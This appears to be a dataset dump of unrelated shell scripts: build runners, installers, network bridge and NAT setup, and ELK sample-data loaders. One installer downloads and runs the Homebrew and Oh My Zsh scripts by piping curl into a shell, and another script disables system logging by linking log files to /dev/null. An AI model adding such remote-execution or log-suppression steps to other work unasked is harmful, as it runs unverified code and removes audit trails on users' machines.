Homebrew, check that packages can be compiled\nif ! type 'gcc' &> /dev/null; then\n e_error \"The XCode Command Line Tools must be installed first.\"\n printf \" Run `sudo xcode-select --install` or download them directly\\n\"\n printf \" from: https://developer.apple.com/downloads\\n\"\n printf \" Then re-run the install script.\\n\"\n exit 1\nfi\n\n# Check for Homebrew\nif ! type 'brew' &> /dev/null; then\n e_header \"Installing Homebrew...\"\n /bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\n\n # make `brew` command available for M1 macs\n if is_m1; then\n eval \"$(/opt/homebrew/bin/brew shellenv)\"\n fi\nfi\n\n# Check for git\nif ! type 'git' &> /dev/null; then\n e_header \"Updating Homebrew...\"\n brew update\n e_header \"Installing Git...\"\n brew install git\nfi\n\n# Initialize the git repository if it's missing\nif ! is_git_repo; then\n e_header \"Initializing git repository...\"\n git init\n git remote add origin https://github.com/${DOTFILES_REPO}\n git checkout -b main\n git fetch origin main\n # Reset the index and working tree to the fetched HEAD\n git reset --hard FETCH_HEAD\nfi\n\n# store DOTFILES_REPO env var in custom zsh script for syncing later\necho \"export DOTFILES_REPO=${DOTFILES_REPO}\" > $ZSH_CUSTOM/00-dotfiles.zsh\n\n# If missing, download and extract the dotfiles repository\nif [[ ! -d ${ZSH} ]]; then\n ZSH=\"$ZSH\" RUNZSH=no sh -c \"$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\nfi\n\n# run the dotfiles for the first time\nzsh bin/dotfiles\n\nzsh -l"} {"text": "testsuite/systemtest_long/codesign/Explorer/ConnectionSweeper/run_connectionsweeper.sh\n#!/bin/bash\nEXPLORE_BIN=\"../../../../../tce/src/codesign/Explorer/explore\"\nCOMPILER_BIN=\"../../../../../tce/src/bintools/Compiler/tcecc\"\nTTASIM_BIN=\"../../../../../tce/src/codesign/ttasim/ttasim\"\n\nADF_PATH=\"./data/minimal2bus.adf\"\n\"${EXPLORE_BIN}\" -a ${ADF_PATH} testi.dsdb 1>/dev/null\n\"${EXPLORE_BIN}\" -d ./data/ testi.dsdb 1>/dev/null\n${EXPLORE_BIN} $1 -e ConnectionSweeper -s 1 -u all_or_nothing_mode=false -u cc_worsening_threshold=5 testi.dsdb 1>/dev/null\nROWS=\"$(${EXPLORE_BIN} --pareto_set C testi.dsdb | wc -l)\"\n\n# With LLVM 2.8 one gets 7\n# with LLVM 2.9 and --old-builder one gets 5 rows\n# with LLVM 2.9 and --new-builder one gets 4 rows\nMIN_ROWS=3\n\nif [ \"${ROWS}\" -lt \"${MIN_ROWS}\" ]; then\n echo \"Not enough rows in the pareto set result! Got ${ROWS}.\"\nelse\n echo \"Looking fine. Got some archs!\"\nfi"} {"text": "kishorkunal-raj/contentlinux_os/guide/services/ntp/ntpd_configure_restrictions/tests/file_empty.fail.sh\n#!/bin/bash\n\nyum -y install ntp\n\necho \"\" > /etc/ntp.conf"} {"text": "#!/bin/sh\n\n# ==============================================================================\n# 機能\n# ・引数に指定されたコマンドラインを表示・実行する(CMD_V)\n# 構文\n# . cmd_v_function.sh\n# CMD_V \"CMD_LINE\"\n#\n# Copyright (c) 2004-2017 \n#\n# This software is released under the MIT License.\n# https://opensource.org/licenses/MIT\n# ==============================================================================\n\n######################################################################\n# 関数定義\n######################################################################\n# コマンドラインの表示・実行\nCMD_V() {\n\t(eval \"set -x; $*\")\n\treturn\n}"} {"text": "dushyantkhosla/dataviz\n#!/bin/bash\n\ngunicorn app:app -D \npython scheduler.py"} {"text": "zmian/xcore.swift\n#!/bin/sh\n\nset -e\n\n# Skip SwiftLint if explicitly asked for using env var\nif [ \"$SKIP_BUILD_PHASE_SWIFTLINT\" == \"YES\" ]; then\n echo \"⏭ Skipping SwiftLint build phase.\"\n exit 0\nfi\n\n# Run lint for application.\n\n# Adds support for Apple Silicon brew directory.\nexport PATH=\"$PATH:/opt/homebrew/bin\"\n\n# If SwiftLint isn't installed then exit early.\nif ! which swiftlint >/dev/null; then\n echo \"\n error: 🛑 SwiftLint is not installed, Run 'brew install swiftlint' in your terminal.\n \"\n exit 1\nfi\n\n# SwiftLint should have minimum version\ncurrentver=\"$(swiftlint version)\"\nminrequiredver=\"0.43.1\"\n\nif [ \"$(printf '%s\\n' \"$minrequiredver\" \"$currentver\" | sort -V | head -n1)\" = \"$minrequiredver\" ]; then\n cd ../ && swiftlint lint\nelse\n echo \"\n error: 🛑 Your SwiftLint version $currentver is outdated.\n Requires at least version $minrequiredver, Run 'brew upgrade swiftlint' in your terminal.\n \"\n exit 1\nfi"} {"text": "HappyFacade/kafka-tutorials\nmkdir join-stream-and-table && cd join-stream-and-table"} {"text": "#!/bin/sh\n\nset -eu\n\nELIXIR_VIM_VERSION=1\n\nif [ -e /elixir-vim/not-configured ]; then cat < /elixir-vim/.config <0\n#!/bin/bash\n\nset -e\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nNPMBINDIR=\"${DIR}/../node_modules/.bin\"\nCOVERAGEDIR=\"${DIR}/coverage\"\n\nrm -rf \"${COVERAGEDIR}\"\n\n# Generate coverage files\nNODE_ENV=test ${NPMBINDIR}/istanbul cover \\\n ${NPMBINDIR}/_mocha test/ \\\n --dir=\"${COVERAGEDIR}\" \\\n --print=none \\\n --report=none\n\n# Generate report\n${NPMBINDIR}/istanbul report lcov html text-summary \\\n --input=\"${COVERAGEDIR}\""} {"text": "Clockfix/VGA_Ambilight\nvsim -do \"bit_sender.do\""} {"text": "src/cmd/run.sh\n#!/bin/bash\n\necho runrunrunrun"} {"text": "./runone.sh test13_43\n./runone.sh test13_57 #Not automated. \n./runone.sh test13_61\n./runone.sh test13_65\n../dontrun.sh test13_71\n./runone.sh test13_72\n./runone.sh test13_83\n./runone.sh test13_83a\n./runone.sh test13_84\n../dontrun.sh test13_113 #Looping. \n./runone.sh test13_130 #Not automated.\n./runone.sh test13_183"} {"text": "1-10\n#!/bin/sh\r\n# A script to download and build the libpifacedigital for PiFace\r\n# The library is located at github.com/piface\r\n# Since the PiFace library is GPLv3, we have to keep it separate.\r\n\r\ngit clone https://github.com/piface/libmcp23s17.git\r\ngit clone https://github.com/piface/libpifacedigital.git\r\n\r\n# Build the library\r\n\r\nmake -C libmcp23s17\r\nmake -C libpifacedigital"} {"text": "1-10\n#!/usr/bin/env bash\n# Copyright 2014 The Flutter Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# TODO(jonahwilliams): refactor this and xcode_backend.sh into one script\n# once iOS is using 'assemble'.\nRunCommand() {\n if [[ -n \"$VERBOSE_SCRIPT_LOGGING\" ]]; then\n echo \"♦ $*\"\n fi\n \"$@\"\n return $?\n}\n\nEchoError() {\n echo \"$@\" 1>&2\n}\n\nBuildApp() {\n # Set the working directory to the project root\n local project_path=\"${SOURCE_ROOT}/..\"\n RunCommand pushd \"${project_path}\" > /dev/null\n\n # Set the verbose flag.\n local verbose_flag=\"\"\n if [[ -n \"$VERBOSE_SCRIPT_LOGGING\" ]]; then\n verbose_flag=\"--verbose\"\n fi\n\n # Set the target file.\n local target_path=\"lib/main.dart\"\n if [[ -n \"$FLUTTER_TARGET\" ]]; then\n target_path=\"${FLUTTER_TARGET}\"\n fi\n\n if [[ -n \"$FLUTTER_ENGINE\" ]]; then\n flutter_engine_flag=\"--local-engine-src-path=${FLUTTER_ENGINE}\"\n fi\n\n # Set the build mode\n local build_mode=\"$(echo \"${FLUTTER_BUILD_MODE:-${CONFIGURATION}}\" | tr \"[:upper:]\" \"[:lower:]\")\"\n\n if [[ -n \"$LOCAL_ENGINE\" ]]; then\n if [[ $(echo \"$LOCAL_ENGINE\" | tr \"[:upper:]\" \"[:lower:]\") != *\"$build_mode\"* ]]; then\n EchoError \"========================================================================\"\n EchoError \"ERROR: Requested build with Flutter local engine at '${LOCAL_ENGINE}'\"\n EchoError \"This engine is not compatible with FLUTTER_BUILD_MODE: '${build_mode}'.\"\n EchoError \"You can fix this by updating the LOCAL_ENGINE environment variable, or\"\n EchoError \"by running:\"\n EchoError \" flutter build macos --local-engine=host_${build_mode}\"\n EchoError \"or\"\n EchoError \" flutter build macos --local-engine=host_${build_mode}_unopt\"\n EchoError \"========================================================================\"\n exit -1\n fi\n local_engine_flag=\"--local-engine=${LOCAL_ENGINE}\"\n fi\n\n # The path where the input/output xcfilelists are stored. These are used by xcode\n # to conditionally skip this script phase if neither have changed.\n local ephemeral_dir=\"${SOURCE_ROOT}/Flutter/ephemeral\"\n local build_inputs_path=\"${ephemeral_dir}/FlutterInputs.xcfilelist\"\n local build_outputs_path=\"${ephemeral_dir}/FlutterOutputs.xcfilelist\"\n\n local performance_measurement_option=\"\"\n if [[ -n \"$PERFORMANCE_MEASUREMENT_FILE\" ]]; then\n performance_measurement_option=\"--performance-measurement-file=${PERFORMANCE_MEASUREMENT_FILE}\"\n fi\n\n local bundle_sksl_path=\"\"\n if [[ -n \"$BUNDLE_SKSL_PATH\" ]]; then\n bundle_sksl_path=\"-iBundleSkSLPath=${BUNDLE_SKSL_PATH}\"\n fi\n\n local code_size_directory=\"\"\n if [[ -n \"$CODE_SIZE_DIRECTORY\" ]]; then\n code_size_directory=\"-dCodeSizeDirectory=${CODE_SIZE_DIRECTORY}\"\n fi\n\n RunCommand \"${FLUTTER_ROOT}/bin/flutter\" \\\n ${verbose_flag} \\\n ${flutter_engine_flag} \\\n ${local_engine_flag} \\\n assemble \\\n ${performance_measurement_option} \\\n -dTargetPlatform=darwin-x64 \\\n -dTargetFile=\"${target_path}\" \\\n -dBuildMode=\"${build_mode}\" \\\n -dTreeShakeIcons=\"${TREE_SHAKE_ICONS}\" \\\n -dDartObfuscation=\"${DART_OBFUSCATION}\" \\\n -dSplitDebugInfo=\"${SPLIT_DEBUG_INFO}\" \\\n -dTrackWidgetCreation=\"${TRACK_WIDGET_CREATION}\" \\\n ${bundle_sksl_path} \\\n ${code_size_directory} \\\n --DartDefines=\"${DART_DEFINES}\" \\\n --ExtraGenSnapshotOptions=\"${EXTRA_GEN_SNAPSHOT_OPTIONS}\" \\\n --ExtraFrontEndOptions=\"${EXTRA_FRONT_END_OPTIONS}\" \\\n --build-inputs=\"${build_inputs_path}\" \\\n --build-outputs=\"${build_outputs_path}\" \\\n --output=\"${BUILT_PRODUCTS_DIR}\" \\\n \"${build_mode}_macos_bundle_flutter_assets\"\n}\n\n# Adds the App.framework as an embedded binary and the flutter_assets as\n# resources.\nEmbedFrameworks() {\n # Embed App.framework from Flutter into the app (after creating the Frameworks directory\n # if it doesn't already exist).\n local xcode_frameworks_dir=\"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}\"\n RunCommand mkdir -p -- \"${xcode_frameworks_dir}\"\n RunCommand rsync -av --delete --filter \"- .DS_Store\" \"${BUILT_PRODUCTS_DIR}/App.framework\" \"${xcode_frameworks_dir}\"\n\n # Embed the actual FlutterMacOS.framework that the Flutter app expects to run against,\n # which could be a local build or an arch/type specific build.\n\n # Copy Xcode behavior and don't copy over headers or modules.\n RunCommand rsync -av --delete --filter \"- .DS_Store\" --filter \"- Headers\" --filter \"- Modules\" \"${BUILT_PRODUCTS_DIR}/FlutterMacOS.framework\" \"${xcode_frameworks_dir}/\"\n\n # Sign the binaries we moved.\n if [[ -n \"${EXPANDED_CODE_SIGN_IDENTITY:-}\" ]]; then\n RunCommand codesign --force --verbose --sign \"${EXPANDED_CODE_SIGN_IDENTITY}\" -- \"${xcode_frameworks_dir}/App.framework/App\"\n RunCommand codesign --force --verbose --sign \"${EXPANDED_CODE_SIGN_IDENTITY}\" -- \"${xcode_frameworks_dir}/FlutterMacOS.framework/FlutterMacOS\"\n fi\n}\n\n# Main entry point.\nif [[ $# == 0 ]]; then\n # Unnamed entry point defaults to build.\n BuildApp\nelse\n case $1 in\n \"build\")\n BuildApp ;;\n \"embed\")\n EmbedFrameworks ;;\n esac\nfi"} {"text": "#!/bin/sh\necho \".....Building BBE Site.....\"\nmkdir -p $2\nexport GOPATH=$3\ngo get github.com/russross/blackfriday\nrm target/dependencies/ballerina-examples -rf\n#git clone https://github.com/ballerina-platform/ballerina-examples target/dependencies/ballerina-examples\ngit clone --branch v0.982.0 https://github.com/ballerina-platform/ballerina-examples target/dependencies/ballerina-examples\nmv target/dependencies/ballerina-examples/examples/abstract-objects/abstract-objects.bal target/dependencies/ballerina-examples/examples/abstract-objects/abstract_objects.bal\nmv target/dependencies/ballerina-examples/examples/abstract-objects/abstract-objects.description target/dependencies/ballerina-examples/examples/abstract-objects/abstract_objects.description\nmv target/dependencies/ballerina-examples/examples/abstract-objects/abstract-objects.out target/dependencies/ballerina-examples/examples/abstract-objects/abstract_objects.out\ngo run tools/ballerinaByExample/tools/generate.go \"target/dependencies/ballerina-examples\" $2\necho \"....Completed building BBE Site....\""} {"text": "RCOSDP/invenio-iiif-manifestexamples/app-setup.sh\n#!/bin/sh\n\n# quit on errors:\nset -o errexit\n\n# quit on unbound symbols:\nset -o nounset\n\nDIR=`dirname \"$0\"`\n\ncd $DIR\nexport FLASK_APP=app.py\n\n# Install specific dependencies\npip install -r requirements.txt\npip install -e ..\n\n# Preapare all static files:\nnpm install -g node-sass clean-css clean-css-cli requirejs uglify-js\nflask npm\ncd static ; npm install ; cd ..\nmkdir -p static/scss/invenio_search_ui\ntouch static/scss/invenio_search_ui/search.scss\nmkdir -p static/js/invenio_deposit\ntouch static/js/invenio_deposit/app.js\nmkdir -p static/js/invenio_search_ui\ntouch static/js/invenio_search_ui/app.js\n\nflask collect -v\nflask assets build\n\nmkdir sample_files\n\nif [ -e bucket ]; then\n rm -R bucket\nfi\nmkdir bucket\n\nif [ -e test.db ]; then\n rm test.db\nfi\n\n\n# Create the database\nflask db init\nflask db create"} {"text": "#!/bin/bash\n\n# continuously reduce the priority of background tasks like rustc\nwhile true; do\n renice 15 $(pidof rustc)\n sleep 5\ndone"} {"text": "#! /bin/bash\n# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\n\nset -e\n\nSCRIPT_NAME=\"$(basename \\\"$0\\\")\"\n\nif [[ -z \"${DOCKER_TAG}\" ]]; then\n echo \"Please rerun with a DOCKER_TAG set in your local environment\" >&2\n echo \"e.g., DOCKER_TAG=my_prefix $0\" >&2\n exit 1\nfi\n\nif [ -d \"local-threatexchange\" ]; then\n echo \"################### WARNING ######################\"\n echo \" Using a local copy of threatexchange from the \"\n echo \" local-threatexchange directory to build the \"\n echo \" docker image.\"\n echo \" Run './scripts/set_threatexchange_source pypi' if \"\n echo \" this is not what you want. \"\n echo \"##################################################\"\nfi\n\nREPOSITORY_NAME=\"hma-lambda-dev\"\n\nECS_PASSWORD=\"$(aws ecr get-login-password --region us-east-1)\"\nECR_REPOSITORY_URI=\"$(aws ecr describe-repositories --repository-names hma-lambda-dev | jq -r '.repositories[0].repositoryUri')\"\n\nAWS_ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)\necho \"$ECS_PASSWORD\" | docker login --username AWS --password-stdin \"$ECR_REPOSITORY_URI\"\ndocker build -f Dockerfile -t \"$REPOSITORY_NAME\" .\ndocker tag \"$REPOSITORY_NAME\" \"${ECR_REPOSITORY_URI}:${DOCKER_TAG}\"\ndocker push \"${ECR_REPOSITORY_URI}:${DOCKER_TAG}\""} {"text": "use-vim.sh\n#!/bin/sh\n\necho alias emacs = \"vim\" >> ~/.bashrc\nsource ~/.bashrc"} {"text": "deploy.sh\n# Run database migrations\nphp artisan migrate:fresh\n\n# Run seeds\nphp artisan db:seed"} {"text": "space=$(get_option '.space')\n\nlogger::info \"Executing $(logger::highlight \"$command\"): $space\"\n\ncf::target \"$org\" \"$space\"\ncf::cf allow-space-ssh \"$space\""} {"text": "#!/usr/bin/env bash\nset -e\n\nbundle exec jekyll build\nbundle exec htmlproofer --assume-extension --check-html --internal-domains nottoobadsoftware.com --url-ignore \"/bitbucket\\.org/\" ./_site"} {"text": "alias reload!='. ~/.zshrc'\nalias upgrade!='dot'\nalias c='clear'\n\n# disable autocorrect and run as admin\nalias mtr=\"nocorrect sudo mtr\"\n\n# generate password\n# optional variable is the length of the password (otherwise 26)\ngenpwd() {\n string=$(openssl rand -base64 32);\n substring=$string[0,${1-26}];\n echo 'new password: '$substring;\n echo $substring | tr -d '\\n' | pbcopy;\n}\n\n# clear cache of Mac OS X 10.10.4\nalias cc=\"sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder; echo 'local DNS cache cleared';\"\n\n# clear cache of Mac OS X 10.10.3 and lower\n# alias cc=\"sudo discoveryutil udnsflushcaches && echo 'cache cleared'\"\n\n# GAM\nalias gam=\"~/bin/gam/gam\""} {"text": "0\n#!/bin/bash\n#SBATCH -p short\n#SBATCH --mem=200\n#SBATCH -o Ex01_02.out\n#SBATCH -e Ex01_02.err\n#SBATCH --constraint=XEON_E5_4650\n\n./Benchmark"} {"text": "start.sh0\n#! /bin/bash\nfunction is_bridge_exist()\n{\n brname=\"$1\"\n if [ -e \"/sys/class/net/$brname\" ];\n then\n\t return 0;\n fi;\n\n return 1;\n}\n\nfunction create_bridge()\n{\n brname=\"$1\"\n brctl addbr \"$brname\"\n}\n\nfunction delete_bridge()\n{\n brname=\"$1\"\n brctl delbr \"$brname\"\n}\n\nfunction setup_bridge()\n{\n brname=\"$1\"\n br_address=\"$2\"\n broadcast=\"$3\"\n\n if is_bridge_exist \"$brname\" ;\n then\n\techo \"br0 exist\";\n else\n\techo \"br0 not exist\";\n\tcreate_bridge \"$brname\"\n fi;\n\n ip link set \"$brname\" up;\n ip address flush dev \"$brname\"\n ip address add \"$br_address\" broadcast \"$broadcast\" dev \"$brname\" \n}\n\nfunction setup_natconfig()\n{\n\tprivate_inf=\"$1\"\n\tpublic_inf=\"$2\"\n\techo 1 > /proc/sys/net/ipv4/ip_forward\n\tiptables -t nat -A POSTROUTING -o \"$public_inf\" -j MASQUERADE\n\tiptables -A FORWARD -i \"$public_inf\" -o \"$private_inf\" -m state --state RELATED,ESTABLISHED -j ACCEPT\n\tiptables -A FORWARD -i \"$private_inf\" -o \"$public_inf\" -j ACCEPT\n}\n\nfunction setup_dnsmasq()\n{\n\tbrname=\"$1\"\n\tcat << EOF > /etc/dnsmasq.d/hostap_dnsmasq.conf\n\tinterface=$brname\n\tdhcp-range=10.10.11.100,10.10.11.200,255.255.255.0,12h\n\tdhcp-option=3,10.10.11.1\n\tdhcp-option=6,172.16.31.10\nEOF\n\n\tsystemctl restart dnsmasq\n}\n\n\nif [ ! `id -u` -eq 0 ];\nthen\n\techo \"require root login\"\n\texit 1\nfi;\n\nsetup_bridge \"br0\" \"10.10.11.1/24\" \"10.10.11.255\"\n#add nat config\nsetup_natconfig \"br0\" \"eth0\"\nsetup_dnsmasq \"br0\"\n\n./hostapd/hostapd ./hostapd/anlang_hostapd.conf"} {"text": "#!/bin/bash\nset -e\n\n# 使构建系统不安装一个 configure 脚本未处理的静态库\nsed -i '/LIBTOOL_INSTALL/d' c++/Makefile.in\n\n# 配置 Ncurses\n./configure --prefix=/usr \\\n --mandir=/usr/share/man \\\n --with-shared \\\n --without-debug \\\n --without-normal \\\n --enable-pc-files \\\n --enable-widec\n\n# 编译 Ncurses\nmake\n\n# 安装 Ncurses\nmake install\n\n# 将共享库移动到期望的 /lib 目录\nmv -v /usr/lib/libncursesw.so.6* /lib\n\n# 重新创建一个符号链接\nln -sfv ../../lib/$(readlink /usr/lib/libncursesw.so) /usr/lib/libncursesw.so\n\n# 许多程序仍然希望链接器能够找到非宽字符版本的 Ncurses 库\n# 通过使用符号链接和链接脚本,诱导它们链接到宽字符库\nfor lib in ncurses form panel menu ; do\n rm -vf /usr/lib/lib${lib}.so\n echo \"INPUT(-l${lib}w)\" > /usr/lib/lib${lib}.so\n ln -sfv ${lib}w.pc /usr/lib/pkgconfig/${lib}.pc\ndone\n\n# 确保那些在构建时寻找 -lcurses 的老式程序仍然能够构建\nrm -vf /usr/lib/libcursesw.so\necho \"INPUT(-lncursesw)\" > /usr/lib/libcursesw.so\nln -sfv libncurses.so /usr/lib/libcurses.so\n\n# 安装 Ncurses 文档\nmkdir -v /usr/share/doc/ncurses-6.2\ncp -v -R doc/* /usr/share/doc/ncurses-6.2\n\n# 上述指令没有创建非宽字符的 Ncurses 库,因为从源码编译的软件包不会在运行时链接到它\n# 然而,已知的需要链接到非宽字符 Ncurses 库的二进制程序都需要版本 5。\n# 如果您为了满足一些仅有二进制版本的程序,或者满足 LSB 兼容性,必须安装这样的库\n# 再次构建 Ncurses\nmake distclean\n./configure --prefix=/usr \\\n --with-shared \\\n --without-normal \\\n --without-debug \\\n --without-cxx-binding \\\n --with-abi-version=5 \nmake sources libs\ncp -av lib/lib*.so.5* /usr/lib"} {"text": "kube-sh/f14974d148064e31809a9ab8efbefb1d-8ba90c950a3205584edee4cc5ecf49aefd2e6a13/20200312-23.sh\n$ kubectl certificate approve bob"} {"text": "## Save fles\n\nfiles_saved=\"\n/opt/opencdn/rootfs_overlay/etc/hostapd/hostapd.conf\n/opt/opencdn/rootfs_overlay/var/www/ekstep/config_json/config.json\n\"\nsave_files()\n{\necho \"Saving files\"\n\nfor i in $files_saved\ndo\n\t cp $i /tmp\ndone\n\n}\n\nrestore_files()\n{\n\techo \"Restoring files\"\n\n\tfor i in $files_saved\n\tdo\n\t\t mv /tmp/`echo $i | awk -F/ '{print $NF}'` $i\n\tdone\n}\n\ninstall_aria2()\n{\n\techo \"Installing aria2\"\n\tdpkg -i /tmp/aria2_deb/*\n}\n\nremove_aria2_deb()\n{\n\techo \"Cleaning aria2 deb files\"\n\trm -rf /tmp/aria2_deb\n}\n\npost_install()\n{\necho \"Running post install scripts\"\nrestore_files\n\n# Create a dir for searchdb (if not present)\nmkdir -p /opt/searchEngine/bleveDbDir/\nmkdir -p /home/admin/GoK/\n\n#Set System time-zone\nsudo timedatectl set-timezone Asia/Kolkata\n\n# Install aria2 and clean up the deb files used\ninstall_aria2\nremove_aria2_deb\n\nsystemctl enable searchserver\n\nsystemctl enable appserver\n\nsystemctl enable syncthing\n\nsystemctl enable aria2\n\nwhich ntpd\nx=$(echo $?)\nif [ $x -eq 0 ]\nthen\n #There were two NTP clients on the system, ntp and systemd-timesyncd.Both were trying to set the date and were conflicting.The ntp is purged to resolve the conflict.\n echo \"Y\" | apt purge ntp\nfi\n\n#Optimize the system\nrm -rf /var/log/daemon.log\nln -s /dev/null /var/log/daemon.log\n\nrm -rf /var/log/dnsmasq.log\nln -s /dev/null /var/log/dnsmasq.log\n\nrm -rf /var/log/syslog\nln -s /dev/null /var/log/syslog\n\nupdate-rc.d dphys-swapfile remove\n\nexit 0\n}\n\npre_install()\n{\necho \"Running pre install scripts\"\nsave_files\n\nexit 0\n}\n\n\nif [ \"$1\" == \"-post\" ]\n\tthen\n\tpost_install\nfi\n\nif [ \"$1\" == \"-pre\" ]\n\t\tthen\n\t\tpre_install\nfi\n\necho \"$0 <-post | -pre>\""} {"text": "#!/bin/bash\n\n# Post-hooks shell script for the sebp/elk Docker image\n\n# When the container starts, if requested, load sample data into Elasticsearch and saved objects into Kibana\n\n# Thanks to processing by the sebp/elk start.sh that calls this script, we can assume that Kibana and Elasticsearch are up\n\n# Environment variables\nLOGSTASH_HTTP_URL=\"http://localhost:9600\"\nLOGSTASH_TCP_URI=\"localhost:5046\"\nINDEX_TEMPLATE_NAME=\"omegamon\"\nILM_POLICY_NAME=\"omegamon-ilm-policy\"\n\n# Default to installing sample data and saved objects\nINSTALL_SAMPLES=\"${INSTALL_SAMPLES:=1}\"\nINSTALL_SAMPLE_DATA=\"${INSTALL_SAMPLE_DATA:=$INSTALL_SAMPLES}\"\nINSTALL_SAMPLE_OBJECTS=\"${INSTALL_SAMPLE_OBJECTS:=$INSTALL_SAMPLES}\"\n\n# The following files have been copied into the container by the Dockerfile\nSAMPLE_OBJECTS_PATH=\"/opt/container/kibana/export.ndjson\"\nKIBANA_SPACE_PATH=\"/opt/container/kibana/omegamon-space.json\"\nINDEX_TEMPLATE_PATH=\"/etc/logstash/conf.d/omegamon-index-template.json\"\nILM_POLICY_PATH=\"/etc/logstash/conf.d/omegamon-ilm-policy.json\"\nSAMPLE_DATA_PATH=\"/opt/container/data/omegamon-sample-data.jsonl\"\n\n# Kibana space properties\nKIBANA_SPACE_ID=\"${KIBANA_SPACE_ID:=\"omegamon\"}\"\nKIBANA_SPACE_NAME=\"${KIBANA_SPACE_NAME:=\"OMEGAMON Data Provider\"}\"\nKIBANA_SPACE_INITIALS=\"${KIBANA_SPACE_INITIALS:=\"OM\"}\"\n\n# Tools\n# Run curl in silent (-s) mode, but show errors (-S)\nCURL=\"curl -sS\"\nSOCAT=\"socat\"\n\n# Function definitions\n\n# Check if a server is ready by waiting for a successful response\nfunction is_ready() {\n local url=$1\n local name=$2\n local limit=${3:-30}\n local counter=0\n # Wait for a successful (non-empty) response\n echo \"Checking if $name is up...\"\n while [ ! \"$($CURL $url 2> /dev/null)\" -a $counter -lt $limit ]; do\n sleep 1\n counter=$((counter+1))\n echo \"Waiting for $name to be up ($counter/$limit)\"\n done\n if [ ! \"$($CURL $url 2> /dev/null)\" ]; then return 1; fi\n echo \"$name is up.\"\n return 0\n}\n\n# Wait for Logstash pipeline to starting listening on TCP port\nfunction is_logstash_pipeline_listening() {\n local cmd=\"$SOCAT /dev/null TCP4:$LOGSTASH_TCP_URI\"\n local limit=${3:-30}\n local counter=0\n # Wait for a successful (empty) response\n echo \"Checking if Logstash pipeline is listening on $LOGSTASH_TCP_URI...\"\n while [ \"$($cmd 2>&1)\" -a $counter -lt $limit ]; do\n sleep 1\n counter=$((counter+1))\n echo \"Waiting for Logstash pipeline to start listening ($counter/$limit)\"\n done\n if [ \"$($cmd 2>&1)\" ]; then return 1; fi\n echo \"Logstash pipeline is listening.\"\n return 0\n}\n\n# Use the Kibana import objects API to import save objects that have been exported to a .ndjson file\nfunction import_objects() {\n local file=$1\n $CURL -X POST -H \"kbn-xsrf: true\" --form file=@$file \"${KIBANA_URL}/s/${KIBANA_SPACE_ID}/api/saved_objects/_import?overwrite=true\" > /dev/null || return 1\n return 0\n}\n\n# Use the Kibana create space API to create a space\nfunction create_space() {\n local file=$1\n # Customize space properties in JSON file\n sed -i -r -e 's|(\\\"id\\\"\\s*:\\s*\\\")[^\\\"]*|\\1'\"${KIBANA_SPACE_ID}\"'|g' \\\n -e 's|(\\\"name\\\"\\s*:\\s*\\\")[^\\\"]*|\\1'\"${KIBANA_SPACE_NAME}\"'|g' \\\n -e 's|(\\\"initials\\\"\\s*:\\s*\\\")[^\\\"]*|\\1'\"${KIBANA_SPACE_INITIALS}\"'|g' \\\n $file\n $CURL -X POST -H \"Content-Type: application/json\" -H \"kbn-xsrf: true\" -d @$file \"${KIBANA_URL}/api/spaces/space\" > /dev/null || return 1\n return 0\n}\n\n# Use the Elasticsearch create or update index template API to create an index template\nfunction create_index_template() {\n local file=$1\n $CURL -X PUT -H \"Content-Type: application/json\" -d @$file \"${ELASTICSEARCH_URL}/_index_template/${INDEX_TEMPLATE_NAME}\" > /dev/null || return 1\n return 0\n}\n\n# Use the Elasticsearch create or update lifecycle policy API to create a lifecycle policy\nfunction create_ilm_policy() {\n local file=$1\n $CURL -X PUT -H \"Content-Type: application/json\" -d @$file \"${ELASTICSEARCH_URL}/_ilm/policy/${ILM_POLICY_NAME}\" > /dev/null || return 1\n return 0\n}\n\n# Send data to Logstash for forwarding to Elasticsearch\nfunction load_data() {\n local logstash_host=$1\n local file=$2\n [ -e \"$file\" ] || return 0\n # Send to Logstash\n echo \"Loading data from '$file'.\"\n $SOCAT -u $file TCP4:$logstash_host || return 1\n}\n\n# Main procedure\n\n# Load saved objects, including dashboards\nif [ \"$INSTALL_SAMPLE_OBJECTS\" -eq \"1\" ]; then\n echo \"Creating Kibana space: ID '$KIBANA_SPACE_ID', name '$KIBANA_SPACE_NAME'.\"\n create_space $KIBANA_SPACE_PATH || exit 1\n echo \"Importing Kibana objects.\"\n import_objects $SAMPLE_OBJECTS_PATH || exit 1\nfi\n\n# If requested, load the data\nif [ \"$INSTALL_SAMPLE_DATA\" -eq \"1\" ]; then\n # Create lifecycle policy\n echo \"Creating lifecycle policy '$ILM_POLICY_NAME'.\"\n create_ilm_policy $ILM_POLICY_PATH || exit 1\n # Create index template\n echo \"Creating index template '$INDEX_TEMPLATE_NAME'.\"\n create_index_template $INDEX_TEMPLATE_PATH || exit 1\n # Wait for Logstash to start\n # set number of retries (default: 60, override using LS_CONNECT_RETRY env var)\n if ! [[ $LOGSTASH_CONNECT_RETRY =~ $re_is_numeric ]]; then LOGSTASH_CONNECT_RETRY=60; fi\n if ! is_ready $LOGSTASH_HTTP_URL \"Logstash\" $LOGSTASH_CONNECT_RETRY || ! is_logstash_pipeline_listening; then\n echo \"Logstash took too long to start. Displaying Logstash log:\"\n cat /var/log/logstash/logstash-plain.log\n exit 1\n fi\n # Load the data\n echo \"Sending sample data to Logstash.\"\n load_data $LOGSTASH_TCP_URI $SAMPLE_DATA_PATH || exit 1\n echo \"Sample data sent.\"\nfi"} {"text": "#!/bin/sh\n\ntestdir=`dirname \"$0\"`\ntestdir=`cd \"$testdir\" ; pwd`\nexport testdir\n\n. $testdir/testenv.sh\necho \"Running tests using test principal \\\"$test_principal\\\"\".\necho \"Running tests using KDC on \\\"$test_host\\\"\".\ngetent hosts \"$test_host\"\n\n# Tell the caller where the binaries are.\ntest -n \"$krb5kdc\" && echo Using krb5kdc binary: $krb5kdc\ntest -n \"$krb524d\" && echo Using krb524d binary: $krb524d\ntest -n \"$kadmind\" && echo Using kadmind binary: $kadmind\ntest -n \"$kadmin\" && echo Using kadmin.local binary: $kadmin\n\n# Run each test with clear 